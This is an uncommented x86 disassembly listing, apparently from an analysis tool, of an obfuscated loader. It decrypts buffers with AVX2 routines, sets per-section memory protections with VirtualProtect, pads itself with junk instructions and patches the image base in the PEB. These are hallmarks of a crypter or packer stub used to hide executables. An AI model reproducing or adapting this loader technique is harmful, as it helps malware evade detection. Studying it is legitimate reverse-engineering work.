vpbroadcastb ymm2, byte [0x4144e0]
vpaddb ymm2, ymm2, ymmword [esp + eax + 0xb0]
vpsrlw ymm3, ymm2, 7
vpaddb ymm2, ymm2, ymm2
vpand ymm3, ymm3, ymm1
vpor ymm2, ymm2, ymm3
vpbroadcastb ymm3, byte [0x4144e4]
vpsubb ymm2, ymm3, ymm2
vpsrlw ymm3, ymm2, 5
vpsllw ymm2, ymm2, 3
vpandn ymm3, ymm4, ymm3
vpand ymm2, ymm2, ymm4
vpor ymm2, ymm2, ymm3
vpsubb ymm2, ymm6, ymm2
vpbroadcastb ymm6, byte [0x4144e3]
vpsrlw ymm3, ymm2, 7
vpaddb ymm2, ymm2, ymm2
vpand ymm3, ymm3, ymm1
vpcmpeqd ymm1, ymm1, ymm1
vpor ymm2, ymm2, ymm3
vpsllw ymm3, ymm5, 2
vpaddb ymm2, ymm2, ymm5
vpand ymm3, ymm3, ymm7
vpxor ymm2, ymm2, ymm1
vpbroadcastb ymm1, byte [0x4144e7]
vpsubb ymm2, ymm2, ymm3
vpsrlw ymm3, ymm2, 2
vpsllw ymm2, ymm2, 6
vpandn ymm3, ymm6, ymm3
vpand ymm2, ymm2, ymm6
vpor ymm2, ymm2, ymm3
vpaddb ymm3, ymm2, ymmword [0x4141c0]
vpsllw ymm2, ymm2, 5
vpand ymm2, ymm2, ymm1
vpsrlw ymm3, ymm3, 3
vpandn ymm3, ymm1, ymm3
vmovdqa ymm1, ymm0
vpor ymm2, ymm2, ymm3
vpbroadcastb ymm3, byte [0x4144e8]
vpsubb ymm2, ymm3, ymm2
vpsrlw ymm3, ymm2, 6
vpsllw ymm2, ymm2, 2
vpandn ymm3, ymm7, ymm3
vpand ymm2, ymm2, ymm7
vpor ymm2, ymm2, ymm3
vpaddb ymm2, ymm0, ymm2
vpbroadcastb ymm0, byte [0x4144ea]
vpsrlw ymm3, ymm2, 1
vpsllw ymm2, ymm2, 7
vpandn ymm3, ymm0, ymm3
vpand ymm2, ymm2, ymm0
vpor ymm2, ymm2, ymm3
vpaddb ymm2, ymm2, ymmword [str.KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK]
vpsrlw ymm3, ymm2, 1
vpsllw ymm2, ymm2, 7
vpandn ymm3, ymm0, ymm3
vpand ymm2, ymm2, ymm0
vmovdqa ymm0, ymm1
vpbroadcastb ymm1, byte [0x4144ec]
vpor ymm2, ymm2, ymm3
vpaddb ymm2, ymm2, ymmword [0x414200]
vpsrlw ymm3, ymm2, 5
vpsllw ymm2, ymm2, 3
vpandn ymm3, ymm4, ymm3
vpand ymm2, ymm2, ymm4
vpor ymm2, ymm2, ymm3
vpsubb ymm2, ymm1, ymm2
vpbroadcastb ymm1, byte [0x4144ed]
vpsrlw ymm3, ymm2, 5
vpsllw ymm2, ymm2, 3
vpandn ymm3, ymm4, ymm3
vpand ymm2, ymm2, ymm4
vpor ymm2, ymm2, ymm3
vpaddb ymm2, ymm2, ymm5
vpsrlw ymm3, ymm2, 2
vpsllw ymm2, ymm2, 6
vpandn ymm3, ymm6, ymm3
vpand ymm2, ymm2, ymm6
vpor ymm2, ymm2, ymm3
vpaddb ymm2, ymm2, ymm5
vpsrlw ymm3, ymm2, 2
vpsllw ymm2, ymm2, 6
vpandn ymm3, ymm6, ymm3
vpand ymm2, ymm2, ymm6
vpor ymm2, ymm2, ymm3
vpaddb ymm2, ymm2, ymm5
vpsubb ymm2, ymm1, ymm2
vpxor xmm1, xmm1, xmm1
vpsrlw ymm3, ymm2, 6
vpsllw ymm2, ymm2, 2
vpandn ymm3, ymm7, ymm3
vpand ymm2, ymm2, ymm7
vpor ymm2, ymm2, ymm3
vpxor ymm2, ymm2, ymmword [0x4144c0]
vpaddb ymm2, ymm2, ymmword [esp + 0x14]
vpsrlw ymm3, ymm2, 6
vpsllw ymm2, ymm2, 2
vpandn ymm3, ymm7, ymm3
vpand ymm2, ymm2, ymm7
vpor ymm2, ymm2, ymm3
vpsubb ymm2, ymm2, ymm5
vpsrlw ymm3, ymm2, 2
vpsllw ymm2, ymm2, 6
vpandn ymm3, ymm6, ymm3
vpand ymm2, ymm2, ymm6
vpor ymm2, ymm2, ymm3
vpaddb ymm2, ymm2, ymm5
vpsubb ymm2, ymm1, ymm2
vpbroadcastb ymm1, byte [0x4144e7]
vpsrlw ymm3, ymm2, 2
vpsllw ymm2, ymm2, 6
vpandn ymm3, ymm6, ymm3
vpand ymm2, ymm2, ymm6
vpaddb ymm6, ymm5, ymm5
vpor ymm2, ymm2, ymm3
vpsubb ymm3, ymm0, ymm6
vpaddb ymm2, ymm3, ymm2
vpaddb ymm2, ymm2, ymmword [0x414360]
vpsrlw ymm3, ymm2, 7
vpand ymm3, ymm3, ymmword [0x4141a0]
vpaddb ymm2, ymm2, ymm2
vpor ymm2, ymm2, ymm3
vpaddb ymm2, ymm0, ymm2
vpaddb ymm2, ymm2, ymmword [0x414380]
vpsrlw ymm3, ymm2, 5
vpsllw ymm2, ymm2, 3
vpandn ymm3, ymm4, ymm3
vpand ymm2, ymm2, ymm4
vpor ymm2, ymm2, ymm3
vpsubb ymm2, ymm5, ymm2
vpaddb ymm2, ymm2, ymmword [0x414280]
vpsrlw ymm3, ymm2, 6
vpsllw ymm2, ymm2, 2
vpandn ymm3, ymm7, ymm3
vpand ymm2, ymm2, ymm7
vpor ymm2, ymm2, ymm3
vpaddb ymm2, ymm2, ymmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
vpsrlw ymm3, ymm2, 3
vpsllw ymm2, ymm2, 5
vpandn ymm3, ymm1, ymm3
vpand ymm2, ymm2, ymm1
vpor ymm2, ymm2, ymm3
vpsubb ymm2, ymm2, ymm6
vpaddb ymm2, ymm2, ymmword [0x4142c0]
vpbroadcastb ymm6, byte [0x4144e1]
vpsrlw ymm3, ymm2, 5
vpsllw ymm2, ymm2, 3
vpandn ymm3, ymm4, ymm3
vpand ymm2, ymm2, ymm4
vpor ymm2, ymm2, ymm3
vpxor xmm3, xmm3, xmm3
vpsubb ymm2, ymm3, ymm2
vpsrlw ymm3, ymm2, 3
vpsllw ymm2, ymm2, 5
vpandn ymm3, ymm1, ymm3
vpand ymm2, ymm2, ymm1
vpbroadcastb ymm1, byte [0x4144e3]
vpor ymm2, ymm2, ymm3
vpbroadcastb ymm3, byte [0x4144f1]
vpsubb ymm2, ymm3, ymm2
vpsrlw ymm3, ymm2, 6
vpsllw ymm2, ymm2, 2
vpandn ymm3, ymm7, ymm3
vpand ymm2, ymm2, ymm7
vpor ymm2, ymm2, ymm3
vpaddb ymm2, ymm2, ymmword [0x414300]
vpsrlw ymm3, ymm2, 5
vpsllw ymm2, ymm2, 3
vpandn ymm3, ymm4, ymm3
vpand ymm2, ymm2, ymm4
vpor ymm2, ymm2, ymm3
vpaddb ymm2, ymm0, ymm2
vpaddb ymm2, ymm2, ymmword [str.cccccccccccccccccccccccccccccccc________________________________]
vpaddb ymm0, ymm0, ymmword [0x4143c0]
vpsrlw ymm3, ymm2, 6
vpsllw ymm2, ymm2, 2
vpandn ymm3, ymm7, ymm3
vpand ymm2, ymm2, ymm7
vpor ymm2, ymm2, ymm3
vpsubb ymm2, ymm2, ymm5
vpsrlw ymm3, ymm2, 2
vpsllw ymm2, ymm2, 6
vpandn ymm3, ymm1, ymm3
vpand ymm2, ymm2, ymm1
vpxor xmm1, xmm1, xmm1
vpor ymm2, ymm2, ymm3
vpsubb ymm2, ymm6, ymm2
vpsrlw ymm3, ymm2, 5
vpsllw ymm2, ymm2, 3
vpandn ymm3, ymm4, ymm3
vpand ymm2, ymm2, ymm4
vpor ymm2, ymm2, ymm3
vpaddb ymm2, ymm2, ymm5
vpsubb ymm2, ymm1, ymm2
vpsrlw ymm3, ymm2, 5
vpsllw ymm2, ymm2, 3
vpandn ymm3, ymm4, ymm3
vpand ymm2, ymm2, ymm4
vpbroadcastb ymm4, byte [0x4144f3]
vpor ymm2, ymm2, ymm3
vpaddb ymm2, ymm2, ymm5
vpsubb ymm2, ymm4, ymm2
vpsrlw ymm3, ymm2, 7
vpaddb ymm2, ymm2, ymm2
vpand ymm3, ymm3, ymm6
vpor ymm2, ymm2, ymm3
vpbroadcastb ymm3, byte [0x4144f4]
vpsubb ymm2, ymm3, ymm2
vmovdqu ymmword [esp + eax + 0xb0], ymm2
add eax, 0x40
cmp eax, 0x1aa0
jne 0x40fda0
vmovq xmm0, qword [esp + 0x1b30]
mov cl, 0x7b
mov ch, 0x86
mov bl, 0xba
mov dh, 0x78
mov dl, 0x5d
mov ebp, dword [esp + 0x10]
vpaddb xmm1, xmm0, xmmword [0x4143e0]
vpbroadcastb xmm0, byte [0x4144e1]
vpsrlw xmm2, xmm1, 7
vpaddb xmm1, xmm1, xmm1
vpand xmm2, xmm2, xmm0
vpor xmm1, xmm1, xmm2
vpbroadcastb xmm2, byte [0x4144e4]
vpsubb xmm2, xmm2, xmm1
vpbroadcastb xmm1, byte [0x4144e2]
vpsrlw xmm3, xmm2, 5
vpsllw xmm2, xmm2, 3
vpandn xmm3, xmm1, xmm3
vpand xmm2, xmm2, xmm1
vpor xmm2, xmm2, xmm3
vpxor xmm3, xmm3, xmm3
vpsubb xmm2, xmm3, xmm2
vmovdqa xmm3, xmm0
vpsrlw xmm4, xmm2, 7
vpaddb xmm2, xmm2, xmm2
vpand xmm4, xmm4, xmm0
vpbroadcastb xmm0, byte [0x4144ea]
vpor xmm2, xmm2, xmm4
vpbroadcastq xmm4, qword [0x467b20]
vpsubb xmm4, xmm4, xmm2
vpbroadcastb xmm2, byte [0x4144e3]
vpsrlw xmm5, xmm4, 2
vpsllw xmm4, xmm4, 6
vpandn xmm5, xmm2, xmm5
vpand xmm4, xmm4, xmm2
vpor xmm4, xmm4, xmm5
vpaddb xmm6, xmm4, xmmword [0x414400]
vpbroadcastb xmm5, byte [0x4144e7]
vpsllw xmm4, xmm4, 5
vpsrlw xmm6, xmm6, 3
vpand xmm4, xmm4, xmm5
vpandn xmm6, xmm5, xmm6
vpor xmm4, xmm4, xmm6
vpbroadcastb xmm6, byte [0x4144e8]
vpsubb xmm6, xmm6, xmm4
vpbroadcastb xmm4, byte [0x4144e5]
vpsrlw xmm7, xmm6, 6
vpsllw xmm6, xmm6, 2
vpandn xmm7, xmm4, xmm7
vpand xmm6, xmm6, xmm4
vpor xmm6, xmm6, xmm7
vpaddb xmm6, xmm6, xmmword [str._abcdefg]
vpsrlw xmm7, xmm6, 1
vpsllw xmm6, xmm6, 7
vpandn xmm7, xmm0, xmm7
vpand xmm6, xmm6, xmm0
vpor xmm6, xmm6, xmm7
vpaddb xmm6, xmm6, xmmword [str.KKKKKKKK]
vpsrlw xmm7, xmm6, 1
vpsllw xmm6, xmm6, 7
vpandn xmm7, xmm0, xmm7
vpand xmm0, xmm6, xmm0
vpor xmm0, xmm0, xmm7
vpaddb xmm0, xmm0, xmmword [0x414430]
vpsrlw xmm6, xmm0, 5
vpsllw xmm0, xmm0, 3
vpandn xmm6, xmm1, xmm6
vpand xmm0, xmm0, xmm1
vpor xmm0, xmm0, xmm6
vpbroadcastb xmm6, byte [0x4144ec]
vpsubb xmm0, xmm6, xmm0
vpsrlw xmm6, xmm0, 5
vpsllw xmm0, xmm0, 3
vpandn xmm6, xmm1, xmm6
vpand xmm0, xmm0, xmm1
vpor xmm0, xmm0, xmm6
vpbroadcastq xmm6, qword [0x414440]
vpaddb xmm0, xmm0, xmm6
vpsrlw xmm7, xmm0, 2
vpsllw xmm0, xmm0, 6
vpandn xmm7, xmm2, xmm7
vpand xmm0, xmm0, xmm2
vpor xmm0, xmm0, xmm7
vpaddb xmm0, xmm0, xmm6
vpsrlw xmm6, xmm0, 2
vpsllw xmm0, xmm0, 6
vpandn xmm6, xmm2, xmm6
vpand xmm0, xmm0, xmm2
vpor xmm0, xmm0, xmm6
vpbroadcastq xmm6, qword [0x467b28]
vpsubb xmm0, xmm6, xmm0
vpsrlw xmm6, xmm0, 6
vpsllw xmm0, xmm0, 2
vpandn xmm6, xmm4, xmm6
vpand xmm0, xmm0, xmm4
vpor xmm0, xmm0, xmm6
vpbroadcastq xmm6, qword [0x467b30]
vpsubb xmm0, xmm6, xmm0
vpsrlw xmm6, xmm0, 6
vpsllw xmm0, xmm0, 2
vpandn xmm6, xmm4, xmm6
vpand xmm0, xmm0, xmm4
vpor xmm0, xmm0, xmm6
vpbroadcastq xmm6, qword [0x414448]
vpaddb xmm0, xmm0, xmm6
vpsrlw xmm7, xmm0, 2
vpsllw xmm0, xmm0, 6
vpandn xmm7, xmm2, xmm7
vpand xmm0, xmm0, xmm2
vpor xmm0, xmm0, xmm7
vpsubb xmm0, xmm6, xmm0
vpsrlw xmm7, xmm0, 2
vpsllw xmm0, xmm0, 6
vpandn xmm7, xmm2, xmm7
vpand xmm0, xmm0, xmm2
vpor xmm0, xmm0, xmm7
vpaddb xmm0, xmm0, xmmword [0x414450]
vpsrlw xmm7, xmm0, 7
vpaddb xmm0, xmm0, xmm0
vpand xmm7, xmm7, xmm3
vpxor xmm3, xmm3, xmm3
vpor xmm0, xmm0, xmm7
vpaddb xmm0, xmm0, xmmword [str._n_v_f_r]
vpsrlw xmm7, xmm0, 5
vpsllw xmm0, xmm0, 3
vpandn xmm7, xmm1, xmm7
vpand xmm0, xmm0, xmm1
vpor xmm0, xmm0, xmm7
vpbroadcastq xmm7, qword [0x467b38]
vpsubb xmm0, xmm7, xmm0
vpsrlw xmm7, xmm0, 6
vpsllw xmm0, xmm0, 2
vpandn xmm7, xmm4, xmm7
vpand xmm0, xmm0, xmm4
vpor xmm0, xmm0, xmm7
vpaddb xmm0, xmm0, xmmword [str._f_f_f_f_f_f_f_f]
vpsrlw xmm7, xmm0, 3
vpsllw xmm0, xmm0, 5
vpandn xmm7, xmm5, xmm7
vpand xmm0, xmm0, xmm5
vpor xmm0, xmm0, xmm7
vpaddb xmm0, xmm0, xmmword [0x414480]
vpsrlw xmm7, xmm0, 5
vpsllw xmm0, xmm0, 3
vpandn xmm7, xmm1, xmm7
vpand xmm0, xmm0, xmm1
vpor xmm0, xmm0, xmm7
vpsubb xmm0, xmm3, xmm0
vpsrlw xmm3, xmm0, 3
vpsllw xmm0, xmm0, 5
vpandn xmm3, xmm5, xmm3
vpand xmm0, xmm0, xmm5
vpor xmm0, xmm0, xmm3
vpbroadcastb xmm3, byte [0x4144f1]
vpsubb xmm0, xmm3, xmm0
vpsrlw xmm3, xmm0, 6
vpsllw xmm0, xmm0, 2
vpandn xmm3, xmm4, xmm3
vpand xmm0, xmm0, xmm4
vpor xmm0, xmm0, xmm3
vpaddb xmm0, xmm0, xmmword [0x414490]
vpsrlw xmm3, xmm0, 5
vpsllw xmm0, xmm0, 3
vpandn xmm3, xmm1, xmm3
vpand xmm0, xmm0, xmm1
vpor xmm0, xmm0, xmm3
vpaddb xmm0, xmm0, xmmword [0x4144a0]
vpsrlw xmm3, xmm0, 6
vpsllw xmm0, xmm0, 2
vpandn xmm3, xmm4, xmm3
vpand xmm0, xmm0, xmm4
vpor xmm0, xmm0, xmm3
vpaddb xmm0, xmm0, xmm6
vpsrlw xmm3, xmm0, 2
vpsllw xmm0, xmm0, 6
vpandn xmm3, xmm2, xmm3
vpand xmm0, xmm0, xmm2
vpbroadcastb xmm2, byte [0x4144e1]
vpor xmm0, xmm0, xmm3
vpsubb xmm0, xmm2, xmm0
vpsrlw xmm2, xmm0, 5
vpsllw xmm0, xmm0, 3
vpandn xmm2, xmm1, xmm2
vpand xmm0, xmm0, xmm1
vpor xmm0, xmm0, xmm2
vpsubb xmm0, xmm6, xmm0
vpsrlw xmm2, xmm0, 5
vpsllw xmm0, xmm0, 3
vpandn xmm2, xmm1, xmm2
vpand xmm0, xmm0, xmm1
vpbroadcastq xmm1, qword [str.6543210_]
vpor xmm0, xmm0, xmm2
vpbroadcastb xmm2, byte [0x4144f4]
vpsubb xmm0, xmm1, xmm0
vpsrlw xmm1, xmm0, 7
vpand xmm1, xmm1, xmmword [0x4143f0]
vpaddb xmm0, xmm0, xmm0
vpor xmm0, xmm0, xmm1
vpsubb xmm0, xmm2, xmm0
vmovq qword [esp + 0x1b30], xmm0
movzx eax, byte [esp + 0x1b38]
add al, 0xb1
rol al, 1
sub cl, al
mov al, 0x57
rol cl, 3
neg cl
rol cl, 1
sub al, cl
mov cl, 0x5d
rol al, 6
mov ah, al
shl al, 5
add ah, 0xd0
shr ah, 3
or ah, al
mov al, 0x7c
sub cl, ah
mov ah, 0x7c
rol cl, 2
add cl, 0x68
ror cl, 1
add cl, 0x4b
ror cl, 1
add cl, 0xe4
rol cl, 3
sub al, cl
mov cl, 0xd3
rol al, 3
add al, 0x88
rol al, 6
add al, 0x88
rol al, 6
sub cl, al
mov al, 0xaa
rol cl, 2
sub al, cl
mov cl, 0x78
rol al, 2
add al, 0x78
rol al, 6
sub cl, al
mov al, 1
rol cl, 6
add cl, 0x95
rol cl, 1
add cl, 0x12
rol cl, 3
sub ch, cl
mov cl, 0xba
rol ch, 2
add ch, 0xc
rol ch, 5
add ch, 0x84
rol ch, 3
neg ch
rol ch, 5
sub bl, ch
mov ch, 1
rol bl, 2
add bl, 0xe3
rol bl, 3
add bl, 0xcb
rol bl, 2
add bl, 0x78
rol bl, 6
sub al, bl
mov bl, 0x28
rol al, 3
sub dh, al
mov al, 0x2e
rol dh, 3
sub al, dh
mov dh, 0x28
rol al, 1
sub bl, al
mov byte [esp + 0x1b38], bl
mov bl, 0x7b
mov al, byte [esp + 0x1b39]
add al, 0xb1
rol al, 1
sub bl, al
mov al, 0x52
rol bl, 3
neg bl
rol bl, 1
sub al, bl
mov bl, 0x5d
rol al, 6
mov bh, al
shl al, 5
add bh, 0xd0
shr bh, 3
or bh, al
mov al, 0x7c
sub bl, bh
mov bh, 0xab
rol bl, 2
add bl, 0x69
ror bl, 1
add bl, 0x4b
ror bl, 1
add bl, 0xe4
rol bl, 3
sub al, bl
mov bl, 0xd2
rol al, 3
add al, 0x89
rol al, 6
add al, 0x89
rol al, 6
sub bl, al
mov al, 0x77
rol bl, 2
sub bh, bl
mov bl, 0x77
rol bh, 2
add bh, 0x77
rol bh, 6
sub al, bh
mov bh, 0x87
rol al, 6
add al, 0x94
rol al, 1
add al, 0x13
rol al, 3
sub bh, al
mov al, 0xba
rol bh, 2
add bh, 0xc
rol bh, 5
add bh, 0x82
rol bh, 3
neg bh
rol bh, 5
sub al, bh
mov bh, 1
rol al, 2
add al, 0xe3
rol al, 3
add al, 0xcc
rol al, 2
add al, 0x77
rol al, 6
sub bh, al
mov al, 0x2d
rol bh, 3
sub bl, bh
mov bh, 0xac
rol bl, 3
sub al, bl
mov bl, 0x28
rol al, 1
sub bl, al
mov byte [esp + 0x1b39], bl
mov bl, 0x7b
mov al, byte [esp + 0x1b3a]
add al, 0xb1
rol al, 1
sub bl, al
mov al, 0x4d
rol bl, 3
neg bl
rol bl, 1
sub al, bl
rol al, 6
mov bl, al
shl al, 5
add bl, 0xd0
shr bl, 3
or bl, al
mov al, 0x5d
sub al, bl
mov bl, 0x7c
rol al, 2
add al, 0x6a
ror al, 1
add al, 0x4b
ror al, 1
add al, 0xe4
rol al, 3
sub bl, al
mov al, 0xd1
rol bl, 3
add bl, 0x8a
rol bl, 6
add bl, 0x8a
rol bl, 6
sub al, bl
mov bl, 0x76
rol al, 2
sub bh, al
mov al, 0x76
rol bh, 2
add bh, 0x76
rol bh, 6
sub al, bh
mov bh, 0x88
rol al, 6
add al, 0x93
rol al, 1
add al, 0x14
rol al, 3
sub bh, al
mov al, 0xba
rol bh, 2
add bh, 0xc
rol bh, 5
add bh, 0x80
rol bh, 3
neg bh
rol bh, 5
sub al, bh
mov bh, 1
rol al, 2
add al, 0xe3
rol al, 3
add al, 0xcd
rol al, 2
add al, 0x76
rol al, 6
sub bh, al
mov al, 0x2c
rol bh, 3
sub bl, bh
rol bl, 3
sub al, bl
mov bl, 0x28
rol al, 1
sub bl, al
mov byte [esp + 0x1b3a], bl
mov bl, 0x7b
mov al, byte [esp + 0x1b3b]
add al, 0xb1
rol al, 1
sub bl, al
mov al, 0x48
rol bl, 3
neg bl
rol bl, 1
sub al, bl
rol al, 6
mov ebx, eax
shl al, 5
add bl, 0xd0
shr bl, 3
or bl, al
mov al, 0xd0
sub dl, bl
rol dl, 2
add dl, 0x6b
ror dl, 1
add dl, 0x4b
ror dl, 1
add dl, 0xe4
rol dl, 3
sub ah, dl
mov dl, 0xad
rol ah, 3
add ah, 0x8b
rol ah, 6
add ah, 0x8b
rol ah, 6
sub al, ah
mov ah, 0x75
rol al, 2
sub dl, al
mov al, 0x75
rol dl, 2
add dl, 0x75
rol dl, 6
sub ah, dl
mov dl, 0x89
rol ah, 6
add ah, 0x92
rol ah, 1
add ah, 0x15
rol ah, 3
sub dl, ah
rol dl, 2
add dl, 0xc
rol dl, 5
add dl, 0x7e
rol dl, 3
neg dl
rol dl, 5
sub cl, dl
rol cl, 2
add cl, 0xe3
rol cl, 3
add cl, 0xce
rol cl, 2
add cl, 0x75
rol cl, 6
sub ch, cl
mov cl, 0x2b
rol ch, 3
sub al, ch
rol al, 3
sub cl, al
rol cl, 1
sub dh, cl
mov ecx, dword [esp + 4]
mov byte [esp + 0x1b3b], dh
cmp word [ecx + 6], 0
je 0x410d90
add ebp, 8
mov edi, 0x40
xor esi, esi
nop dword [eax]
mov ecx, dword [ebp + 0x1c]
mov eax, 0x40
mov edx, 4
mov ebx, 2
test ecx, 0x20000000
cmove eax, edx
mov edx, ecx
test ecx, 0x40000000
not edx
cmove ebx, edi
test edx, 0x60000000
mov edx, 0x20
cmove ebx, edx
cmp ecx, 0xc0000000
mov ecx, 4
lea edx, [esp + 0x34]
cmovb eax, ecx
mov ecx, dword [ebp + 4]
cmovb eax, ebx
add ecx, dword [esp]
push edx
push eax
push dword [ebp]
push ecx
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esp + 4]
inc esi
add ebp, 0x28
movzx eax, word [eax + 6]
cmp esi, eax
jb 0x410d20
bswap ebx
sub eax, 0x81
add eax, 0x26
not eax
rcr eax, 0xf
not edx
neg eax
sbb eax, 0xc3
dec eax
dec eax
sbb edi, 0xc8
not edi
or edi, 0xc5
rcr edx, 0x2c
bswap ebx
inc eax
neg esi
imul eax
rcr esi, 0xde
imul edi
rcl edi, 0x3e
bswap ebx
not edx
not eax
neg edi
or esi, 0x6c
and esi, 0xa3
rcr edx, 0x5e
sub eax, 3
or ebx, 0xcc
ror eax, 0xce
bswap edi
sbb edi, 0x90
add esi, 0x4f
ror edi, 0xd6
rcl ebx, 0x51
or edi, 0xeb
dec eax
dec eax
not esi
rol edx, 0xef
bswap esi
rcr eax, 0xa0
inc edx
sub esi, 0x24
dec ebx
dec edx
bswap eax
dec ebx
and eax, 0x13
bswap eax
ror edi, 0xc9
neg ebx
mov esi, 0xdd
bswap edi
sub edi, 0x41
mov esi, 0xac
add edx, 0xf6
bswap ebx
add ebx, 0xe0
sbb edx, 0x4c
neg esi
not esi
and eax, 0xc3
neg eax
inc edx
bswap ebx
rol edi, 0x41
rcl esi, 0x5d
mov edx, 0x83
bswap edx
sbb edx, 0xc
neg eax
rcl edx, 0xd1
imul ebx
ror edi, 0xa2
not ebx
or edx, 0xf
dec ebx
ror edx, 0xe6
sbb eax, 0xed
neg eax
sub edx, 0xc0
rcl esi, 0x17
bswap eax
not esi
neg ebx
imul edx
mov edx, 0x94
rcr esi, 0x1f
add eax, 0xf8
or edi, 0x21
mov esi, 0x15
imul esi
rol edi, 0xcc
rcr edi, 0xcd
bswap edx
dec ebx
sbb ebx, 0x52
inc ebx
ror esi, 0xc6
sub eax, 0x71
bswap eax
sbb ebx, 0xd
inc edi
rcl ebx, 0x93
bswap edx
dec esi
rol eax, 0xaf
neg ebx
neg eax
inc esi
not ebx
not ebx
or esi, 0xf5
not esi
inc edx
neg edx
and ebx, 0x6a
neg eax
dec edx
sub edi, 0x38
and eax, 0xb4
inc edx
dec edx
dec edx
not edx
inc ebx
rcl edx, 0xd
rcl eax, 0x96
rcr esi, 0x90
dec eax
rcr esi, 0xf8
add esi, 0x90
neg esi
rcr eax, 0xaa
inc esi
imul eax
rol eax, 0x2c
sbb eax, 0x64
mov eax, 0x56
not esi
sub ebx, 0x72
mov esi, 0x76
sbb edi, 0x44
dec edx
dec ebx
inc edx
and edx, 0x4d
imul edi
mov ecx, dword fs:[0x30]
vmovups ymm0, ymmword [0x4645e6]
vmovups ymm1, ymmword [0x4645ce]
vmovups ymm2, ymmword [0x4645ae]
mov eax, dword [ecx + 0xc]
mov ebp, dword [eax + 0x14]
sub ebx, 0x61
rcl edx, 0xc6
inc ebx
sbb edi, 0xcd
dec ebx
dec eax
and edx, 0x4e
or ebx, 0x25
not edi
rol edi, 0xb4
ror ebx, 0x76
rcr ebx, 0xef
sub edi, 0x35
mov esi, 0xf8
rcr ebx, 0xe6
or edi, 0x52
ror edx, 0x61
inc esi
rcr ebx, 0xcb
add eax, 0x4a
and edi, 0xbc
imul edx
bswap ebx
rol edx, 0xa6
rol ebx, 0x21
dec eax
rcr edx, 0x6e
imul esi
not esi
bswap edi
inc esi
or edi, 0x49
or edx, 0x46
inc ebx
rcr edi, 0x23
inc ebx
imul ebx
bswap eax
ror edx, 0xce
neg edx
sbb esi, 0xf1
and ebx, 0x2d
neg edx
add ebx, 0xf7
bswap edi
sbb edi, 0xb7
inc esi
rol edx, 0x51
dec esi
rcl edi, 0x38
bswap eax
inc esi
bswap edx
sub ebx, 0x85
imul ebx
mov edx, 0xde
not eax
inc ebx
dec ebx
inc edi
bswap edi
mov ebx, 0xc1
dec esi
and edx, 0xd0
rcr edi, 0x99
not edi
dec ebx
imul ebx
and esi, 0xc7
bswap edi
mov ebx, 0xac
mov edi, 0x32
ror edx, 0xdd
imul esi
dec eax
rcl esi, 0xca
sub edi, 0x4c
add ebx, 0xab
imul eax
sub eax, 0xb
bswap edi
neg esi
sbb edi, 0xfd
rcr ebx, 0x88
not ebx
bswap edi
bswap ebx
sub ebx, 0xa
inc esi
inc eax
inc eax
bswap esi
ror esi, 0xb9
not edx
rcr eax, 0xac
mov ebx, 0xe4
rcl edi, 0x92
sub eax, 0x48
inc esi
imul ebx
sbb eax, 0x12
imul edi
sbb edx, 9
ror edi, 0xdd
sub edi, 0x95
rol edx, 0xa2
add edx, 0x5d
inc edx
dec eax
not edx
rcr eax, 0x92
inc edi
mov edx, 0x7f
ror edi, 0xca
neg edi
sbb esi, 0xaa
mov ebx, 0xfb
dec edi
neg esi
sbb edi, 0xcf
or edi, 0x4c
dec edx
dec ebx
imul edx
and eax, 0x6a
imul ebx
rcl ebx, 0x53
imul esi
inc eax
sub edi, 0xc9
dec edi
not ebx
and ebx, 0x59
imul eax
or esi, 0x2e
neg esi
rol eax, 0xf3
inc edi
rol edx, 0xb
and edi, 0x1a
bswap edx
not eax
rcr esi, 0x1e
dec edx
add edx, 0xbd
rol ebx, 0x6a
imul esi
ror edi, 0xba
inc eax
dec edx
mov eax, dword [esp]
mov dword [ecx + 8], eax
mov dword [ebp + 0x10], eax
sub ebx, 0x85
sbb esi, 0x8b
bswap edx
add eax, 0xf
and edi, 0xd2
inc edi
and esi, 0x39
and edx, 0xd0
neg eax
add esi, 0x68
imul edx
or ebx, 0x61
neg eax
bswap edx
add edx, 0x29
or esi, 0x87
ror esi, 0xc3
rcl ebx, 0x4f
mov edx, 0xd0
imul esi
add eax, 0x4e
mov edi, 0x43
dec esi
dec eax
bswap edx
imul edx
rcl ebx, 0xee
and eax, 0xcd
and edi, 0xc6
and esi, 0x94
bswap eax
rol eax, 0x39
mov ebx, 0x13
and edi, 0xa0
inc edi
inc esi
ror esi, 0xcd
rcl ebx, 0x71
imul ebx
sbb esi, 0x46
inc edx
or eax, 0x5b
add edi, 0x86
ror esi, 0x7d
not edx
inc edx
neg edi
dec esi
neg eax
not edi
sbb ebx, 0xa9
rcl ebx, 0xb
rol eax, 0x3e
ror esi, 0x80
or edx, 0xa8
not eax
not edi
rcl edx, 0x27
or ebx, 0x89
imul edi
or eax, 0x2d
neg eax
not eax
mov edi, 0xa3
dec ebx
bswap eax
not edi
mov edi, 0x4e
rol edi, 0x27
inc eax
ror edx, 4
add ebx, 0x2f
and edi, 0x47
add esi, 0xd5
mov edi, 0xa0
ror eax, 0x98
dec eax
add edx, 0xa3
bswap edi
add edi, 0x95
rcr edx, 0x15
rcr eax, 0xd6
rcr edx, 0x67
rol esi, 0xfb
bswap esi
imul edi
add edi, 0xa5
not edx
bswap edx
add eax, 0x6a
rcr esi, 0xd2
sub eax, 0x4f
mov ebx, 0x4b
rcr edx, 0x95
ror edi, 0x34
and esi, 0x9f
and edi, 0xbc
rcl esi, 0xe1
mov edx, 0x2e
imul edi
rcr eax, 0x24
sub eax, 0xb5
imul esi
bswap edi
rcr ebx, 0x5a
imul eax
and esi, 0x1f
bswap edx
sub eax, 0xad
imul edx
and ebx, 0xb
inc edx
inc eax
sbb ebx, 0xe1
dec esi
sub ebx, 0xe6
mov ebx, 0xe2
rcl esi, 0x72
sub esi, 0xa9
rol ebx, 0x94
not ebx
mov edi, 0x5b
not edx
sbb edx, 0x20
not edx
sbb esi, 0xfb
bswap edx
imul eax
sub eax, 0x52
sbb ebx, 0x55
or esi, 0xbf
imul esi
ror eax, 0xfc
or edi, 0x39
rcl ebx, 8
add edi, 0xfe
sbb edi, 0xa8
rol edx, 0xed
dec edx
inc ebx
bswap eax
or edx, 0x57
ror edx, 0xbe
rcr ebx, 0x56
bswap edi
or esi, 0xe0
imul edx
add edx, 0x67
mov edi, 0x7d
sub eax, 0x39
